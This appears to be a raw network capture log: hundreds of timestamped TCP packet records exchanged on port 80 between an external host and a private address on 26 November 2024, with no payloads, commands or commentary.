Nov 26, 2024 10:09:34.178203106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.178235054 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.178251028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.178997993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.179013014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.179039001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.179053068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.179807901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.179824114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.179860115 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.179873943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.180529118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.180578947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.180605888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.180700064 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.181548119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.181562901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.181595087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.181618929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.182131052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.182226896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.182262897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.183203936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.183229923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.183247089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.183269024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.184129953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.184209108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.184346914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.184427023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.184895992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.184932947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.184937954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.184964895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.185770035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.185786009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.185817003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.185833931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.186480999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.186527967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.186661005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.186744928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.187277079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.187345028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.187356949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.187412024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.188185930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.188210964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.188241959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.188271046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.334428072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.334507942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.334664106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.334711075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.334805012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.334907055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.335000038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.335084915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.335120916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.335165977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.335997105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.336077929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.336114883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.336157084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.336733103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.336793900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.336836100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.336889982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.337650061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.337723017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.337757111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.337769985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.338526011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.338612080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.338646889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.338694096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.339369059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.339426994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.339478016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.339530945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.340301037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.340349913 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.340424061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.340478897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.341171026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.341219902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.341248989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.341290951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.341960907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.342009068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.342111111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.342154980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.342866898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.342921019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.342942953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.342984915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.343710899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.343766928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.343851089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.344000101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.344626904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.344690084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.344733000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.344820976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.345516920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.345537901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.345571995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.345588923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.346344948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.346415043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.346424103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.346462965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.347192049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.347239971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.348119020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.348189116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.348203897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.348239899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.348259926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.348289013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.349039078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.349236965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.349270105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.349283934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.349906921 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.349957943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.349961042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.350008011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.350837946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.350889921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.351011038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.351103067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.351962090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.352015018 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.352016926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.352070093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.352824926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.352875948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.352878094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.352965117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.353658915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.353715897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.353756905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.353820086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.354502916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.354553938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.354610920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.354826927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.355281115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.355329990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.355356932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.355372906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.355926991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.355976105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.356055975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.356102943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.356774092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.356822968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.356887102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.356939077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.357605934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.357662916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.357742071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.357795954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.358616114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.358688116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.358712912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.358762980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.359359980 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.359406948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.359438896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.359503984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.360466957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.360524893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.360589027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.361222982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.361280918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.361285925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.361325026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.362025976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.362075090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.362138033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.362193108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.362864971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.362941027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.363054037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.363200903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.363725901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.363789082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.363811970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.363928080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.364588976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.364634991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.364700079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.364924908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.365643024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.365703106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.365740061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.365850925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.366602898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.366668940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.366775036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.366846085 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.367548943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.367607117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.367624044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.367749929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.368249893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.368359089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.368418932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.368474007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.369093895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.369141102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.369199038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.369412899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.370162964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.370219946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.370223999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.370265961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.371037960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.371088982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.371170044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.371222019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.371896982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.371958017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.372003078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.372051001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.372697115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.372879028 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.372924089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.372955084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.373505116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.373569965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.373632908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.373678923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.374418020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.374480963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.374520063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.374675035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.375375032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.375432968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.375447035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.375646114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.376286983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.376357079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.376410961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.376472950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.377093077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.377218962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.377218962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.377304077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.377861023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.377923965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.377964020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.378015041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.378545046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.378597975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.378654957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.379426956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.379477978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.379540920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.379589081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.527041912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.527129889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.527139902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.527371883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.527456999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.527529955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.527581930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.527604103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.527636051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.528392076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.528439045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.528502941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.528585911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.529228926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.529311895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.529340982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.529422998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.530179977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.530255079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.530291080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.530353069 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.530996084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.531056881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.531124115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.531176090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.532108068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.532186031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.532227993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.532299995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.532988071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.533083916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.533126116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.533196926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.533848047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.533955097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.534033060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.535058022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.535130978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.535161972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.535204887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.536042929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.536092997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.536186934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.537053108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.537146091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.537187099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.537281990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.537916899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.538018942 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.538105965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.538913012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.538986921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.539005995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.539115906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.539953947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.540047884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.540108919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.540150881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.540752888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.540853024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.541016102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.541623116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.541697979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.541770935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.541888952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.542500019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.542560101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.542640924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.543342113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.543385983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.543420076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.543529987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.544238091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.544284105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.544300079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.544568062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.545097113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.545109987 CET	80	49766	185.215.113.206	192.168.2.5
